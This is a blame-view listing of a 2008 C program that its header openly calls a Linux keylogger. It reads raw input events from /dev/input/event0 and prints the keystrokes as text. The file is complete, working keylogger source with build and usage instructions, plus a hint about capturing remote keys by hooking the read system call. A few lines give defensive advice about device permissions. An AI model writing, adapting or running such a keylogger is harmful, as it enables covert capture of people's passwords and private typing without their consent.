Commit | Line | Data |
---|---|---|
21c4e167 H |
1 | /* event0log.c v0.6 |
2 | * <~~Harvie 2oo8 | |
3 | * THX2: Dayvee (Idea), joe@aol.com (Reversing), | |
4 | * -=Punka][Tux=- (BugReport), | |
5 | * Warriant's code (Inspiration), Linus (God Blessed Linux) | |
6 | * | |
7 | * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,) | |
8 | * In other words: this is keylogger for Linux. | |
9 | * If you have more keyboards, try other events (event1, ...eventX). | |
10 | * Only local keyboard is supported, | |
11 | * remote keys can be captured by hooking on SYS_read() system call. | |
12 | * | |
13 | * Build: | |
14 | * - gcc argv[0].c -o argv[0] | |
15 | * | |
16 | * Usage (all examples do the same): | |
17 | * - cat /dev/input/event0 | argv[0] | |
18 | * - argv[0] /dev/input/event0 | |
19 | * - argv[0] - | |
20 | * | |
21 | * Adding new keystroke values: | |
22 | * - <XXX> = keystroke id | |
23 | * - set MAXSTROKE to 0 to get only keystroke values | |
24 | * | |
25 | * Defensive security: | |
26 | * - chown & chmod /dev/input/event0 | |
27 | * - don't give cheap root to everybody | |
28 | */ | |
29 | ||
30 | #include <stdio.h> | |
31 | #include <stdlib.h> | |
32 | #include <signal.h> | |
33 | #define DEFAULTINPUT "/dev/input/event0" | |
34 | ||
35 | #define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted) | |
36 | char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard: | |
37 | "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", | |
38 | "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", | |
39 | "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", | |
40 | "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", | |
41 | "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", | |
42 | "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", | |
43 | "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]", | |
44 | "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n", | |
45 | "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<101>", | |
46 | "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]", | |
47 | "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]", | |
48 | "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]" | |
49 | /* Hint: | |
50 | [CAPSL][ESC] = CapsLock On | |
51 | [CAPSL] = CapsLock Off | |
52 | [NUML]<0> = NumLock On | |
53 | [NUML] = NumLock Off | |
54 | 3[ESC]3 = Escape | |
55 | */ | |
56 | }; | |
57 | ||
58 | void cleanup(void) { | |
59 | fclose(stdin); | |
60 | fclose(stdout); | |
61 | } | |
62 | ||
63 | static void sigint_handler(int signo) { | |
64 | exit(0); | |
65 | } | |
66 | ||
67 | int main(int argc, char *argv[]) { | |
68 | ||
69 | atexit(&cleanup); | |
70 | signal(SIGINT, &sigint_handler); | |
71 | signal(SIGTERM, &sigint_handler); | |
72 | signal(SIGQUIT, &sigint_handler); | |
73 | signal(SIGSEGV, &sigint_handler); | |
74 | ||
75 | ||
76 | FILE *ftest; | |
77 | printf("Reading data from: "); | |
78 | if(argc > 1 && argv[1][0] != '-') { | |
79 | ftest = freopen(argv[1], "rb", stdin); | |
80 | printf("%s\n", argv[1]); | |
81 | } | |
82 | if(argc > 1 && argv[1][0] == '-') { | |
83 | ftest = freopen(DEFAULTINPUT, "rb", stdin); | |
84 | printf("%s\n", DEFAULTINPUT); | |
85 | } | |
86 | if(argc == 1) { | |
87 | printf("STDIN\n", argv[1]); | |
88 | } | |
89 | ||
90 | if(ftest == NULL) { | |
91 | printf("Failed to open file!\n\n"); | |
92 | return(1); | |
93 | } | |
94 | ||
95 | printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE); | |
96 | ||
97 | unsigned char keystroke[17]; | |
98 | while(1) { | |
99 | read(0, keystroke, 16); | |
100 | if((int)keystroke[12] > 0 && (int)keystroke[12] < 6) { | |
101 | if(keystroke[10] <= MAXSTROKE) { | |
102 | printf("%s", strokes[keystroke[10]]); | |
103 | } else { | |
104 | printf("<%d>", keystroke[10]); | |
105 | } | |
106 | } | |
107 | } | |
108 | ||
109 | } |